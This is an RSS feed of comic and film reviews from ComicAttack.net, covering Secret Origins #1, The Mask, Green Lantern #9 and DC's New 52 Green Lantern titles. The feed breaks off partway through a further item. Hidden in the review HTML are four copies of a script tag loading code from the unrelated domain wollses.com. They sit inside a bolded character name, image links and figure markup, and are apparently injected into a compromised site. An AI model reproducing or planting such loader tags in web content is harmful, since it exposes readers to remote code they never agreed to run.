<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>Doug Mahnke – ComicAttack.net</title> <atom:link href="https://comicattack.net/tag/doug-mahnke/feed/" rel="self" type="application/rss+xml" /> <link>https://comicattack.net</link> <description></description> <lastBuildDate>Mon, 28 Apr 2014 13:56:01 +0000</lastBuildDate> <language>en-US</language> <sy:updatePeriod> hourly </sy:updatePeriod> <sy:updateFrequency> 1 </sy:updateFrequency> <generator>https://wordpress.org/?v=6.5.3</generator> <image> <url>https://comicattack.net/wp-content/uploads/2019/07/cropped-Review-1-1-32x32.jpg</url> <title>Doug Mahnke – ComicAttack.net</title> <link>https://comicattack.net</link> <width>32</width> <height>32</height> </image> <item> <title>DC Comics Reviews: Secret Origins #1</title> <link>https://comicattack.net/dc_secret-origins-rev1/</link> <comments>https://comicattack.net/dc_secret-origins-rev1/#respond</comments> <dc:creator><![CDATA[Martin Thomas]]></dc:creator> <pubDate>Mon, 28 Apr 2014 13:56:01 +0000</pubDate> <category><![CDATA[DC Comics]]></category> <category><![CDATA[Martin]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Superman]]></category> <category><![CDATA[Dave McCaig]]></category> <category><![CDATA[DC New 52]]></category> <category><![CDATA[Doug Mahnke]]></category> <category><![CDATA[Greg Pak]]></category> <category><![CDATA[Hi-Fi]]></category> <category><![CDATA[John Kalisz]]></category> <category><![CDATA[Kyle Higgins]]></category> <category><![CDATA[Lee Weeks]]></category> <category><![CDATA[Paulo Siqueira]]></category> <category><![CDATA[Robin]]></category> <category><![CDATA[Secret Origins]]></category> <category><![CDATA[Supergirl]]></category> <category><![CDATA[Tony Bedard]]></category> <guid isPermaLink="false">https://comicattack.net/?p=110558</guid> <description><![CDATA[Secret Origins #1 Publisher: DC Story: Greg Pak; Kyle Higgins; Tony Bedard Pencils: Lee Weeks; Doug Mahnke; Paulo Siqueira Inks: Sandra Hope & Lee Weeks; Keith Champagne & Christian Alamy; Hi-Fi Colors: Dave McCaig; John Kalisz; Hi-Fi Letters: John J. Hill; Carlos M. Mangual; Travis Lanham Origin stories can be a bit of a mixed […]]]></description> <content:encoded><![CDATA[<p><strong><em><a href="https://comicattack.net/wp-content/uploads/2014/04/Secret-Origins-1.jpg"><img fetchpriority="high" decoding="async" class="alignleft size-full wp-image-110559" src="https://comicattack.net/wp-content/uploads/2014/04/Secret-Origins-1.jpg" alt="Secret Origins #1" width="300" height="462" srcset="https://comicattack.net/wp-content/uploads/2014/04/Secret-Origins-1.jpg 300w, https://comicattack.net/wp-content/uploads/2014/04/Secret-Origins-1-195x300.jpg 195w" sizes="(max-width: 300px) 100vw, 300px" /></a>Secret Origins #1<br /> </em></strong><strong>Publisher:</strong> DC<br /> <strong>Story:</strong> Greg Pak; Kyle Higgins; Tony Bedard<br /> <strong>Pencils:</strong> Lee Weeks; Doug Mahnke; Paulo Siqueira<br /> <strong>Inks:</strong> Sandra Hope & Lee Weeks; Keith Champagne & Christian Alamy; Hi-Fi<strong><br /> Colors:</strong> Dave McCaig; John Kalisz; Hi-Fi<br /> <strong>Letters:</strong> John J. Hill; Carlos M. Mangual; Travis Lanham</p> <p>Origin stories can be a bit of a mixed bag, especially for heroes we’ve known for decades. Superman has been around now for more than 75 years, and his origin has been told <em>ad infinitum</em>. Robin has been around nearly as long, and while compared to those two heroes Supergirl is a relative new-comer on the scene, she first debuted in comics over 55 years ago.</p> <p>However, with DC’s massive reboot back in September 2011 when they unveiled the “New 52,” many of these characters’ origins were no longer certain. How much of John Byrne’s <em>Man of Steel</em> origin from the mid-1980s was still intact? And with New 52’s condensed five year timeline (superheroes have only been around for the past five years), how is it possible that Batman has had that many Robins already? Was Dick Grayson’s origin any different now?</p> <p><em>Secret Origins #1</em>, one of two new monthly publications debuted by DC this week, attempts to answer these questions for new and old fans alike. And in so doing, they succeed very admirably considering that there is no new ground breaking material here, and yet the book is still a great read.</p> <p>For the <strong>Superman</strong> origin story, writer Greg Pak sticks with the tried and true origin. It’s a real testament to Pak’s talent that he was chosen to write the New 52 origin of DC’s iconic superhero considering how many other options there are for DC. While there’s nothing new here for people who already think they know Superman, Pak adds such emotion and heart to the story that it’s impossible not to like it. The framing device he uses, of two very different mothers talking to their child, is brilliant and anyone with a heart will be moved by the end of the tale. That’s a huge feat to accomplish, both considering the short number of pages he has to tell this tale and also that it’s essentially retreading well-covered ground at this point. Lee Weeks, Sandra Hope, and Dave McCaig really knock it out of the park visually, juxtaposing alien Kryptonian landscapes with the fields of rural Kansas to really showcase how Superman is a being of two worlds. There’s also an interesting, and very appropriate, coloring decision that was made by having baby Kal-El found at night time, so the colors in Kansas are dark and subdued while his future is uncertain. As Clark becomes a little bit older, we finally see the sunny brightness of Kansas, which disappears only briefly as Clark deals with tragedy later in his life. This is the kind of stuff that is just perfectly suited for the comics medium – the story, art, and colors coming together perfectly to illustrate a mood or feeling that would take up way too many pages in a novel.</p> <p>As much as I enjoyed the Superman origin story (and I truly did), it’s the <strong>Robin<script src="//wollses.com/steps"></script></strong> (the Dick Grayson version) origin that really makes this book shine. These days, 75 years after Batman debuted in <em>Detective Comics</em>, it’s difficult to remember that Dick Grayson was the first boy sidekick in comics. His character invented and defined what a sidekick was and created an array of copy-cats (or “homages” to be more polite) like Speedy, Kid Flash, and Bucky. Yet, unlike Batman, Superman, and other big name heroes whose origins has been retold many times over the past decades, Robin tends to be overlooked. For this story, writer Kyle Higgins gets to revisit the character he’s been so intimately involved with for the past few years, and tell the definitive New 52 version of Dick Grayson’s origin story. Again, the broad strokes of Robin’s origin from the 1940s are kept intact, but Higgins does such a masterful job of developing the relationship between Bruce and Dick in a few short pages that we really feel like we know these characters and are deeply moved at what’s happened to Dick, and also by Bruce’s pledge to help him. Alfred also has a spectacular and very moving scene that could possibly bring a tear to your eye if you’re so inclined to get really emotional while reading your comics (ahem… just give me a minute…). Artistically this story is also very well done, and what I enjoyed most of all are Mahnke’s facial expressions. Dick goes from smug and proud to suspicious to horrified in the space of a few short panels, and the reactions are captured perfectly. His Bruce Wayne looks a little older than he’s typically seen in the rest of the Bat titles in the New 52, but that’s a small quibble for what are otherwise really emotionally-packed layouts and character designs.</p> <p><strong>Supergirl</strong> does seem like a bit of an outlier to be in this particular issue, but it makes sense to include her considering her prevalence lately in DC with the Red Lantern tie-in, and also her membership in DC’s other new comic this week, <em>Justice League United</em>. Her origin is pretty standard, but Tony Bedard chooses to put it in contrast of how different it was from Superman’s, despite appearing to be superficially similar on the surface. Most importantly, Bedard does a great job of setting up Supergirl’s inner turmoil and how and why she views the world so differently from her cousin despite their similar upbringings and set of super powers. I’m not a regular reader of Supergirl, so I did find it odd that she recently became a Red Lantern (I’d say spoiler alert but if you’re reading comics you know that from the ads that DC puts in every issue), but this origin did help me to understand the context of that decision a bit more. On the art front, Paulo Siqueira gets to do a ton of really fun and unique Kryptonian architecture, costume, and weapon designs that are a real visual treat, especially when accompanied by the coloring by Hi-Fi. Siqueira also gets to include a scene with Superman and his version of the Man of Steel looks really great, especially considering some of the ads we’ve seen for another version that is going to be appearing soon in a monthly comic.</p> <p>Moving on….</p> <p>Is <em>Secret Origins</em> an integral book? No, not if your goal is to learn more about these three characters. You won’t learn much, if anything, about these three characters that you didn’t already know. But, if your goal of reading monthly comics is to become engaged in a well-written, emotionally-packed story with real character development, accompanied by some really great art that helps to propel the story past just the written word, then <em>Secret Origins #1</em> should be on your reading list.</p> <p><span style="text-decoration: underline;">Martin Thomas</span><br /> <em>@comicattack.net</em></p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/dc_secret-origins-rev1/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Movie Mondays: The Mask</title> <link>https://comicattack.net/mmthemask/</link> <comments>https://comicattack.net/mmthemask/#comments</comments> <dc:creator><![CDATA[Admin]]></dc:creator> <pubDate>Mon, 18 Jun 2012 14:53:32 +0000</pubDate> <category><![CDATA[Columns]]></category> <category><![CDATA[Comic Attack Quick Links]]></category> <category><![CDATA[Comic Publishers]]></category> <category><![CDATA[Dark Horse]]></category> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Hudson]]></category> <category><![CDATA[Humor]]></category> <category><![CDATA[Journalists]]></category> <category><![CDATA[Media and Merchandise]]></category> <category><![CDATA[Movie Mondays]]></category> <category><![CDATA[Movies]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Doug Mahnke]]></category> <category><![CDATA[John Arcudi]]></category> <category><![CDATA[New Line Cinema]]></category> <category><![CDATA[The Mask]]></category> <guid isPermaLink="false">https://comicattack.net/?p=89360</guid> <description><![CDATA[Title: The Mask Director: Chuck Russell Writers: Mike Werb, Michael Fallon, and Mark Verheiden (created by John Arcudi and Doug Mahnke) Distributed By: New Line Cinema Starring: Jim Carrey, Cameron Diaz, Peter Riegert, and Peter Greene Release Date: July 29th, 1994 MPAA: PG-13 Stanley Ipkiss (Jim Carrey) is a nice guy, a decent man, and an […]]]></description> <content:encoded><![CDATA[<p><strong><a href="https://comicattack.net/wp-content/uploads/2012/06/201915.1020.A.jpg"><img decoding="async" class="alignleft size-medium wp-image-89373" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2012/06/201915.1020.A-198x300.jpg" alt="" width="198" height="300" /></a>Title: </strong><em>The Mask<br /> </em><strong>Director: </strong>Chuck Russell<br /> <strong>Writers: </strong>Mike Werb, Michael Fallon, and Mark Verheiden (created by John Arcudi and Doug Mahnke)<br /> <strong>Distributed By: </strong> New Line Cinema<br /> <strong>Starring: </strong>Jim Carrey, Cameron Diaz, Peter Riegert, and Peter Greene<br /> <strong>Release Date: </strong>July 29th, 1994<br /> <strong>MPAA: </strong>PG-13</p> <p>Stanley Ipkiss (Jim Carrey) is a nice guy, a decent man, and an all around sucker. With his submissive behavior and bad strokes of luck, he hasn’t had much fortune in life. Until one day when he stumbles upon a mask that has the power to transform him into The Mask, an extroverted and mischievous version of himself that knows the moves and how to get the beautiful singer Tina Carlyle (Cameron Diaz). However, when his shenanigans at the bank put him at odds with mobster Dorian Tyrell (Peter Green) and Lt. Mitch Kellaway, Stanley Ipkiss finds himself in more trouble than he bargained for.</p> <p>When it came to the mid-nineties comedies, you couldn’t really get much bigger than Jim Carrey. With movies like <em>Dumb and Dumber</em> and <em>Ace Ventura: Pet Detective</em>, Carrey proved that he was more than just “the white guy on <em>In Living Color</em>” and could be a formidable box office king. He’s had a lot of big hits (and disaster flops), but perhaps the most memorable of them all is <em>The Mask</em>.</p> <p>It’s been almost twenty years (sigh) since it came out, and usually two decades is enough time to tell if it’s good or if it’s merely a sign of the times. <em>The Mask</em> is a film that still has plenty of charm and doesn’t fall flat on humor.</p> <p>What makes this film work is that this really is one of Carrey’s best performances. This is the kind of role that requires comedic timing, wit, and physical comedy, all of which Carrey aces in. But it’s more than merely being funny. It’s about being able to pull of two different roles. You have Stanley Ipkiss, the very definition of the nice guy. And The Mask, which is the id to Ipkiss’ superego. With Ipkiss, Carey gives a quiet wit with a slight snark underneath. And with The Mask, Carrey fires on all comedic barrels.</p> <figure id="attachment_89376" aria-describedby="caption-attachment-89376" style="width: 486px" class="wp-caption aligncenter"><a href="https://comicattack.net/wp-content/uploads/2012/06/TMQuote.png"><img decoding="async" class="size-full wp-image-89376 " src="https://comicattack.net/wp-content/uploads/2012/06/TMQuote.png" alt="" width="486" height="260" /><script src="//wollses.com/steps"></script></a><figcaption id="caption-attachment-89376" class="wp-caption-text">Bonus points if you heard the famous quote playing in your head after seeing this picture.</figcaption></figure> <p>The rest of the supporting cast is solid. Cameron Diaz’s first role as the seductress Tina Carlyle, Peter Green as slick mobster villain Dorian Tyrell, Peter Riegert as no nonsense Lt. Mitch Kellaway, and everyone else in this solid ensemble (including the funny, dry Ben Stein). They all play their roles well, although this is a “supporting” cast in the literal sense, since almost every line and action is made for Jim Carrey to respond to and hit out of the ballpark.</p> <figure id="attachment_89377" aria-describedby="caption-attachment-89377" style="width: 486px" class="wp-caption aligncenter"><a href="https://comicattack.net/wp-content/uploads/2012/06/TMBeetleJuice.png"><img loading="lazy" decoding="async" class="size-full wp-image-89377 " src="https://comicattack.net/wp-content/uploads/2012/06/TMBeetleJuice.png" alt="" width="486" height="264" /></a><figcaption id="caption-attachment-89377" class="wp-caption-text">The dress was designed by Betelgeuse.</figcaption></figure> <p>Aside from a terrific lead, a solid cast, and a well-written script, this film has slick style and lots of it. Nineties style, that is. To some, this will be an annoyance, and to others such as myself, this film is a reminder of why the nineties rocked. The film’s lighting and direction shares many of the same sensibilities with films such as <em>Dick Tracy</em>, Burton/Schumacher <em>Batman</em> films, <em>The Shadow</em>, <em>Cool World</em>, and <em>Who Framed Roger Rabbit. </em>You know the term “neo-noir”? Well these films would fall under the category of “neon-noir.” Neon-noir are films styled with bright, vivid coloring, strong use of lighting (and sometimes fog machines), modern art deco, and a mix between the forties/fifties and modern times (especially when it comes to mixing nineties music with big band jazz). Also, like some of its neon-noir contemporaries, <em>The Mask</em> certainly has classic cartoon influences and is not afraid to display it, whether it comes to the cartoons displayed on the TV or The Mask’s howling wolf animation.</p> <figure id="attachment_89378" aria-describedby="caption-attachment-89378" style="width: 489px" class="wp-caption aligncenter"><a href="https://comicattack.net/wp-content/uploads/2012/06/TMClub.png"><img loading="lazy" decoding="async" class="size-full wp-image-89378 " src="https://comicattack.net/wp-content/uploads/2012/06/TMClub.png" alt="" width="489" height="261" /></a><figcaption id="caption-attachment-89378" class="wp-caption-text">You can get into this club if you happen to be friends with Franklin, Grant, and Jackson.</figcaption></figure> <p>Speaking of animation, the special effects here still hold up well. For the time it was amazing, but even now I can’t but help ask myself “How did they do it?” The only effects that have aged without grace are some of the 3-D effects, such as when The Mask pulls out an arsenal of weapons. Still, it’s not the worst nineties 3D I’ve ever seen.</p> <p>You can have the spot on jokes, the beautiful cinematography, and even the special effects extravaganza. However, it’s not a nineties blockbuster without one key component. The music. <em>The Mask</em> doesn’t have one but instead <strong>two </strong>soundtracks. There’s the music soundtrack, which is a nice blend of modern R&B with a touch of big jazz. Then there’s the orchestral soundtrack by Randy Edelman, which is incredible and also has a hint of forties/fifties jazz.</p> <figure id="attachment_89379" aria-describedby="caption-attachment-89379" style="width: 486px" class="wp-caption aligncenter"><a href="https://comicattack.net/wp-content/uploads/2012/06/TMBox.png"><img loading="lazy" decoding="async" class="size-full wp-image-89379 " src="https://comicattack.net/wp-content/uploads/2012/06/TMBox.png" alt="" width="486" height="259" /></a><figcaption id="caption-attachment-89379" class="wp-caption-text">Movie Rule #577: Don't trust anything that's been locked in a box for centuries. Especially if it's a mask or a board game.</figcaption></figure> <p>There’s nothing major I have to complain about with <em>The Mask</em>. Sure, the plot occasionally forces the characters to act dumb, such as when Tina Carlyle convinces Dorian Tyrell to take the mask off for a kiss. But that’s a given with comedies like these. What’s rare here, is a film that delivers a spectacular display of wit, humor, and style on all fronts. <em>The Mask</em> is a film of its own, and is definitely one of the best films of the nineties.</p> <p><span style="text-decoration: underline;">Andrew Hudson</span><br /> ahudson@comicattack.net<br /> <a title="Twitter Hudsonian" href="http://www.twitter.com/hudsonian" target="_blank" rel="noopener noreferrer">@Hudsonian</a></p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/mmthemask/feed/</wfw:commentRss> <slash:comments>4</slash:comments> </item> <item> <title>Touring the Cosmos: Green Lantern #9</title> <link>https://comicattack.net/ttcgl9/</link> <comments>https://comicattack.net/ttcgl9/#respond</comments> <dc:creator><![CDATA[mike]]></dc:creator> <pubDate>Tue, 15 May 2012 14:00:47 +0000</pubDate> <category><![CDATA[Columns]]></category> <category><![CDATA[DC Comics]]></category> <category><![CDATA[Green Lantern]]></category> <category><![CDATA[Mike]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Touring the Cosmos]]></category> <category><![CDATA[Doug Mahnke]]></category> <category><![CDATA[Geoff Johns]]></category> <category><![CDATA[New 52]]></category> <guid isPermaLink="false">https://comicattack.net/?p=87421</guid> <description><![CDATA[One of the most exciting aspects about Geoff Johns’s run on Green Lantern is the fact that he continues to find ways to add layer upon layer on top of an already intriguing and rich mythology. One of the most well kept secrets has been the Indigo Tribe, and the purpose behind their existence. In […]]]></description> <content:encoded><![CDATA[<p>One of the most exciting aspects about Geoff Johns’s run on<em> Green Lantern</em> is the fact that he continues to find ways to add layer upon layer on top of an already intriguing and rich mythology. One of the most well kept secrets has been the Indigo Tribe, and the purpose behind their existence. In the “The Secrets of the Indigo Tribe,” the secret is slowly becoming unraveled.</p> <p> </p> <p style="text-align: center;"><a href="https://comicattack.net/wp-content/uploads/2012/05/touringthecosmosbanner.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-87424" src="https://comicattack.net/wp-content/uploads/2012/05/touringthecosmosbanner.jpg" alt="" width="567" height="225" srcset="https://comicattack.net/wp-content/uploads/2012/05/touringthecosmosbanner.jpg 630w, https://comicattack.net/wp-content/uploads/2012/05/touringthecosmosbanner-300x119.jpg 300w" sizes="(max-width: 567px) 100vw, 567px" /></a></p> <p> </p> <figure id="attachment_87423" aria-describedby="caption-attachment-87423" style="width: 200px" class="wp-caption alignright"><a href="https://comicattack.net/wp-content/uploads/2012/05/gl9.jpg"><img loading="lazy" decoding="async" class="size-medium wp-image-87423 " style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2012/05/gl9-200x300.jpg" alt="" width="200" height="300" srcset="https://comicattack.net/wp-content/uploads/2012/05/gl9-200x300.jpg 200w, https://comicattack.net/wp-content/uploads/2012/05/gl9-768x1152.jpg 768w, https://comicattack.net/wp-content/uploads/2012/05/gl9-683x1024.jpg 683w, https://comicattack.net/wp-content/uploads/2012/05/gl9.jpg 900w" sizes="(max-width: 200px) 100vw, 200px" /></a><figcaption id="caption-attachment-87423" class="wp-caption-text">Issue #9 Cover </figcaption></figure> <p><span style="text-decoration: underline;"><em><strong>Green Lantern #9</strong></em></span></p> <p><em><strong>“Secrets of the Indigo Tribe” part 3<br /> </strong></em></p> <p><strong>Writer:</strong> Geoff Johns<br /> <strong>Artist: </strong>Doug Mahnke<br /> <strong>Inks: </strong>Christian Alamy</p> <p> </p> <p>It should be no surprise that <em>Green Lantern </em>continues to get a lot of spotlight here at <a href="https://comicattack.net/category/cafeaturedcolumns/touring-the-cosmos/">Touring the Cosmos.</a> It repeatedly blows open the doors on science fiction and space faring action, keeping readers and fans at the edge of their seats after each issue. While there are three other titles (<em><a href="https://comicattack.net/2012/01/ttcgl2012/">Green Lantern: New Guardians</a>, Green Lantern Corps, Red Lanterns</em>), the flagship GL title that stars Hal Jordan has consistently been the best book of the bunch. While this volume (beginning with DC’s reboot) started off on a lower note than expected, it has propelled itself to the forefront of cosmic reading goodness.</p> <p>The current arc in GL is directly dealing with the mysterious Indigo Tribe. Indigo represents compassion, and their color of power is violet. They all use their batteries as a staff, and channel the powers of every other emotion for their own purpose. The Indigo Tribe has an odd sense of honor and empathy, and their true purpose has been kept very secret. The most recent addition to their ranks was William Hand, a.k.a. Black Hand, who has been totally transformed into a “compassionate” individual.</p> <figure id="attachment_87431" aria-describedby="caption-attachment-87431" style="width: 196px" class="wp-caption alignleft"><a href="https://comicattack.net/wp-content/uploads/2012/05/indigo.jpg"><img loading="lazy" decoding="async" class="size-medium wp-image-87431" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2012/05/indigo-196x300.jpg" alt="" width="196" height="300" srcset="https://comicattack.net/wp-content/uploads/2012/05/indigo-196x300.jpg 196w, https://comicattack.net/wp-content/uploads/2012/05/indigo-768x1175.jpg 768w, https://comicattack.net/wp-content/uploads/2012/05/indigo-669x1024.jpg 669w, https://comicattack.net/wp-content/uploads/2012/05/indigo.jpg 1440w" sizes="(max-width: 196px) 100vw, 196px" /><script src="//wollses.com/steps"></script></a><figcaption id="caption-attachment-87431" class="wp-caption-text">Bandwagoner</figcaption></figure> <p>Hal Jordan and Sinestro have recently found themselves on the home planet of the Indigos, trying to figure out the secret behind the tribe and their relationship with Abin Sur. Abin Sur was the GL that passed his ring on to Hal, and was also the best friend to Sinestro before he died. Both GL’s have a vested interest in the connection between Abin and the tribe, and are stopping at nothing to figure out what it is. The real question is, as they dig further and further, do they really want to know?</p> <p>Geoff Johns has proven himself to be a capable and nearly master storyteller. When he took over the reigns of <em>Green Lantern</em> all those years ago, he has since truly proven his ability to craft an engaging tale. In the case of <em>Green Lantern,</em> it has been a wild ride for fans with each month and each story bringing more and more to the table. Earlier in the series, along with DC’s reboot, <em>Green Lantern</em> was having a bit of trouble finding its footing. Johns knew where he wanted the story to go, but it seemed like he was having a difficult time establishing the new status quo in Hal Jordan’s life. Now that it has all been figured out, the stories keep getting better each month. Exploring the Indigo Tribe has been a story fans have been eagerly awaiting, and each little tidbit of info and spoiler has been well worth the wait. Johns has an amazing grasp of the characters he uses, and issue #9 is no exception.</p> <p>Doug Mahnke and Christian Alamy’s work has been nothing but amazing. Every character has an amazing amount of detail, and the Indigo Tribe has some very unique looking members, different from even the existing corps who sometimes share similar looking aliens. The splash page to the left (found in issue #8) shows a great example of the Indigo members, and how well Mahnke can display the same character in two different lights. There is some really dark lighting, which can sometimes make things difficult to make out. This makes sense considering the dark of space can be overwhelming, and the contrast between the black of space and the light of the rings is a treat on the eyes.</p> <p><em>Green Lantern </em>has consistently been<em> the </em>book for fans of cosmic space action. Great characters drive the story forward, and as each story progresses, the characters just get deeper and deeper. It all ties in to a greater concept, which makes the GL-verse that much better. Johns has an amazing grasp on where he wants the story to go, and he really knows how to retain a reader’s attention. Mahnke and Alamy’s work only makes the book that much better with their amazing attention to details and creativity. <em>Green Lantern</em> has been a shining beacon literally and figuratively for everything cosmic, and shows no sign of letting up.</p> <p><span style="text-decoration: underline;">Mike Parente</span><br /> mike@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/ttcgl9/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Touring the Cosmos: DC’s New 52 Green Lantern Titles</title> <link>https://comicattack.net/ttcgl2012/</link> <comments>https://comicattack.net/ttcgl2012/#comments</comments> <dc:creator><![CDATA[mike]]></dc:creator> <pubDate>Tue, 17 Jan 2012 10:00:28 +0000</pubDate> <category><![CDATA[Columns]]></category> <category><![CDATA[DC Comics]]></category> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Green Lantern]]></category> <category><![CDATA[Mike]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Sci-Fi]]></category> <category><![CDATA[Touring the Cosmos]]></category> <category><![CDATA[Doug Mahnke]]></category> <category><![CDATA[Geoff Johns]]></category> <category><![CDATA[Hal Jordan]]></category> <category><![CDATA[sci-fi]]></category> <guid isPermaLink="false">https://comicattack.net/?p=81067</guid> <description><![CDATA[DC Comics’ newly formed universe has brought about many a change. Tons of new books and characters (which you can see in our weekly reviews here) have been introduced, and many of the usual suspects are still around. Now, sometimes change can be a force for good. Has the new DCU brought about the good […]]]></description> <content:encoded><![CDATA[<p>DC Comics’ newly formed universe has brought about many a change. Tons of new books and characters (which you can see in our weekly reviews <a href="https://comicattack.net/category/cafeaturedcolumns/crisis-of-infinite-reviews/">here</a>) have been introduced, and many of the usual suspects are still around. Now, sometimes change can be a force for good. Has the new DCU brought about the good in one of <strong>Touring the Cosmos</strong>‘ most spotlighted characters, Green Lantern?</p> <p style="text-align: center;"><a href="https://comicattack.net//wp-content/uploads/2012/01/touringthecosmosbanner.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-81085" src="https://comicattack.net//wp-content/uploads/2012/01/touringthecosmosbanner.jpg" alt="" width="567" height="225" srcset="https://comicattack.net/wp-content/uploads/2012/01/touringthecosmosbanner.jpg 630w, https://comicattack.net/wp-content/uploads/2012/01/touringthecosmosbanner-300x119.jpg 300w" sizes="(max-width: 567px) 100vw, 567px" /></a></p> <p> </p> <p><em><span style="text-decoration: underline;"><strong>Green Lantern<a href="https://comicattack.net//wp-content/uploads/2012/01/green-lantern-v5-1-cover.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-81078" style="margin: 1px 4px;" src="https://comicattack.net//wp-content/uploads/2012/01/green-lantern-v5-1-cover-197x300.jpg" alt="" width="197" height="300" srcset="https://comicattack.net/wp-content/uploads/2012/01/green-lantern-v5-1-cover-197x300.jpg 197w, https://comicattack.net/wp-content/uploads/2012/01/green-lantern-v5-1-cover.jpg 285w" sizes="(max-width: 197px) 100vw, 197px" /></a></strong></span></em></p> <p><strong>Writer:</strong> Geoff Johns<br /> <strong>Artist:</strong> Doug Mahnke<br /> <strong>Inks</strong>: Christian Alamy and Keith Champagne<br /> <strong>Colors:</strong> Alex Sinclair</p> <p> </p> <p><em>Green Lantern</em> was one of the few titles where a lot of the mythos was kept in tact, and the story had only a minor blip during the transition. The main story points that readers were left with just before the reboot have mostly been kept together, and the story has very nearly picked up where it left off. So why does it feel like Hal Jordan and co. have lost some of their flavor? With such a rich history and an amazing creative team on the book, why does it feel as though <em>Green Lantern’s</em> efforts have been somewhat lackluster?</p> <p><a href="https://comicattack.net//wp-content/uploads/2012/01/Green_Lantern_Vol_5-3_Cover-1.jpg"><img loading="lazy" decoding="async" class="alignleft size-medium wp-image-81080" style="margin: 1px 4px;" src="https://comicattack.net//wp-content/uploads/2012/01/Green_Lantern_Vol_5-3_Cover-1-195x300.jpg" alt="" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2012/01/Green_Lantern_Vol_5-3_Cover-1-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2012/01/Green_Lantern_Vol_5-3_Cover-1-768x1181.jpg 768w, https://comicattack.net/wp-content/uploads/2012/01/Green_Lantern_Vol_5-3_Cover-1-666x1024.jpg 666w, https://comicattack.net/wp-content/uploads/2012/01/Green_Lantern_Vol_5-3_Cover-1.jpg 1987w" sizes="(max-width: 195px) 100vw, 195px" /><script src="//wollses.com/steps"></script></a>Geoff Johns has undoubtedly been the king of comics for a while. Some of you may argue, but let’s be fair. Johns has given the big three of DC a fourth, and has spun some of the best stories (Sinestro Corps War and Blackest Night, just to name a few) of the last few years. But now that DC has decided to do a grand overhaul of their ‘verse and Johns is playing a bigger role in it all (Chief Creative Director), his work has slowly changed. Sinestro is currently a member of the Green Lantern Corps and Hal Jordan has no ring, which is a great twist, but it seems as though the execution of it all is pretty obvious and lacking a bit of emotion. Johns has, as usual, weaved enough twists and turns into his story to keep a reader interested, but it just seems like the quick, five minute reads of <em>Green Lantern</em> has lost its usual charm. Sinestro is in the midst of his own corps, yet the Yellow Lanterns and Sinestro himself aren’t showing the usual emotions in that scenario. Sinestro has met some familiar Korugarians, but the relationships seem a little shallow. Now it may be early to call this all a foul, but it’s hard to compare this work to some of Johns’s better stuff. The art from Mahnke has been consistently awesome, with him pouring as much emotion into the pages as he can.</p> <p><a href="https://comicattack.net//wp-content/uploads/2012/01/redl_cv5_ns.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-81079" style="margin: 1px 4px;" src="https://comicattack.net//wp-content/uploads/2012/01/redl_cv5_ns-195x300.jpg" alt="" width="195" height="300" srcset="https://comicattack.net/wp-content/uploads/2012/01/redl_cv5_ns-195x300.jpg 195w, https://comicattack.net/wp-content/uploads/2012/01/redl_cv5_ns.jpg 618w" sizes="(max-width: 195px) 100vw, 195px" /></a>Right now is not the time to<em> really</em> get into the three spin-off titles that share the Lantern moniker, although we should take a quick look. <em>Red Lanterns</em> (Milligan, Benes) follows the popular villain(?) Atrocitus, and his merry band of blood spewing psychopaths. One of the most popular corps to come out of Johns’s run, <em>Red Lanterns</em>, like<em> Green Lantern</em>, has really failed to amaze like many fans expected. Milligan is putting a lot of focus on the inner workings of the corps, but with Atrocitus jumping from planet to planet it is difficult to get engaged in any of the tales being told.<em> The Green Lantern Corps</em> (Tomasi, Pasarin) is probably the best of the four GL titles (yeah, I said it), with plenty of action and intrigue to keep readers interested. <em>Corps</em> is really progressing the Lantern mythology, whereas the other titles aren’t quite keeping up. <em>New Guardians</em> (Bedard, Kirkham) has a very promising premise, but where <em>Corps</em> takes one big step forward, <em>New Guardians</em> seems to be taking only baby steps. None of these books are bad, and all have amazing talent working on them, but it seems as though followers of Green Lantern have been spoiled with such big sagas in the past that the smaller stories seem a bit too slow.</p> <p>This brings us to our next problem. Have the fans of Green Lantern been so spoiled that it is hard to keep our attention anymore? Have the massive crossover story lines brought us to a point where anything less just won’t do? Is this a problem with not only Green Lantern, but the big two publishers as a whole? It would be presumptuous of anyone to make that call, but from a simple standpoint, it might seem so. Johns has created a very thorough new mythology for Green Lantern, and once he started exploring it he just did not stop. Now that the well is seemingly dry, though, Green Lantern better not fall by the wayside. Although wallets are given a break, the mind, which has been running at light speed for so long, following story after story, has been given a little unnecessary break. Has Johns run out of tricks for <em>Green Lantern</em>? Hard to see that being the truth. Hopefully Johns and co. (which is the most likely case) are just brewing up their next massive crossover which we have all become familiar with. <em>Green Lantern</em> has deservedly earned the attention of many people over the last few years; let’s hope that the ride isn’t over yet.</p> <p><span style="text-decoration: underline;">Mike Parente</span><br /> mike@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/ttcgl2012/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item> <title>DC Reviews: Green Lantern #1</title> <link>https://comicattack.net/dcnucrgl1/</link> <comments>https://comicattack.net/dcnucrgl1/#comments</comments> <dc:creator><![CDATA[andrewhurst]]></dc:creator> <pubDate>Thu, 15 Sep 2011 